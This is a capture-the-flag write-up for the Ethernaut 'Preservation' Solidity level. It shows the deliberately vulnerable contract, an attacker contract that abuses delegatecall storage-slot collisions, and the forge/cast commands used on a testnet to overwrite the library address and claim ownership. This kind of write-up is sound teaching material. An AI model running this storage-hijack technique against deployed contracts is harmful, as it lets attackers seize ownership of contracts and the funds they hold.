---
title: "Preservation"
tags: ["Delegate Call", "Storage"]
reference: https://ethernaut.openzeppelin.com/level/16
---

# Description

This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.

The goal of this level is for you to claim ownership of the instance you are given.

Things that might help

- Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope.
- Understanding what it means for delegatecall to be context-preserving.
- Understanding how storage variables are stored and accessed.
- Understanding how casting works between different data types.

```sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {
    // public library contracts
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    uint256 storedTime;
    // Sets the function signature for delegatecall
    bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

    constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
        timeZone1Library = _timeZone1LibraryAddress;
        timeZone2Library = _timeZone2LibraryAddress;
        owner = msg.sender;
    }

    // set the time for timezone 1
    function setFirstTime(uint256 _timeStamp) public {
        timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }

    // set the time for timezone 2
    function setSecondTime(uint256 _timeStamp) public {
        timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }
}

// Simple library contract to set the time
contract LibraryContract {
    // stores a timestamp
    uint256 storedTime;

    function setTime(uint256 _time) public {
        storedTime = _time;
    }
}
```

# Solution

## Attack Idea

1. Exploit storage layout miss match between contracts

```sol
contract Proxy {
    uint256 a; // slot 0
    address b; // slot 1
}

contract Logic {
    address b; // slot 0
    uint256 a; // slot 1
}
```

If Proxy uses delegatecall to Logic, then Logic will treat slot 0 as address b, but Proxy stores uint256 a there. This mismatch causes incorrect reads/writes.

2. call `setSecondTime()` to `timeZone1Library` variable to our controlled contract `FakeTimeZone`

3. call `setFirstTime()` which will trigger delegatecall to `FakeTimeZone`'s `setTime` function. By setting the `FakeTimeZone`'s `storedTime` state variable to slot 2, we can modify the owner because of (1).

## FakeTimeZone contract

```sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract FakeTimeZone {
    address slot_0;  
    address slot_1;  
    uint256 storedTime; // map to Preservation's owner state variable

    function setTime(uint256 _time) public {
        storedTime = _time;
    }
}
```

## Execution

1. create `FakeTimeZone` contract

```
tim@tim-virtual-machine ~/g/t/contracts (main)> forge create src/FakeTimeZone.sol:FakeTimeZone --rpc-url=$BASE_SEPOLIA_RPC --account deployer --broadcast
```

2. cast address to uint256

```
tim@tim-virtual-machine ~/g/t/contracts (main)> cast to-uint256 0x14dc67e5883Da53aA73DEc0C15E8bba13FbCc63A
0x00000000000000000000000014dc67e5883da53aa73dec0c15e8bba13fbcc63a
```

3. call `setSecondTime`

```
tim@tim-virtual-machine ~/g/t/contracts (main) [1]> cast send 0x42BDF2BC42613a0e3a638d2Efc3F11bA24fE943F "setSecondTime(uint256)" 0x00000000000000000000000014dc67e5883da53aa73dec0c15e8bba13fbcc63a --rpc-url $BASE_SEPOLIA_RPC --private-key
```

3. check if the address of timeZone1Library become FakeTimeZone address

```
tim@tim-virtual-machine ~/g/t/contracts (main)> cast storage 0x42BDF2BC42613a0e3a638d2Efc3F11bA24fE943F 0 --rpc-url $BASE_SEPOLIA_RPC
0x00000000000000000000000014dc67e5883da53aa73dec0c15e8bba13fbcc63a
```

4. call `setFirstTime`

```
tim@tim-virtual-machine ~/g/t/contracts (main)> cast send 0x42BDF2BC42613a0e3a638d2Efc3F11bA24fE943F "setFirstTime(uint256)" 0x000000000000000000000000B1473Ba227C4645501E0e05f4839b00ED8320d33 --rpc-url $BASE_SEPOLIA_RPC --private-key
```

5. check if the owner become player address

```
tim@tim-virtual-machine ~/g/t/contracts (main)> cast storage 0x42BDF2BC42613a0e3a638d2Efc3F11bA24fE943F 2 --rpc-url $BASE_SEPOLIA_RPC
0x000000000000000000000000b1473ba227c4645501e0e05f4839b00ed8320d33
```

# Lesson learnt

This example demonstrates why the library keyword should be used for building libraries, as it prevents the libraries from storing and accessing state variables.
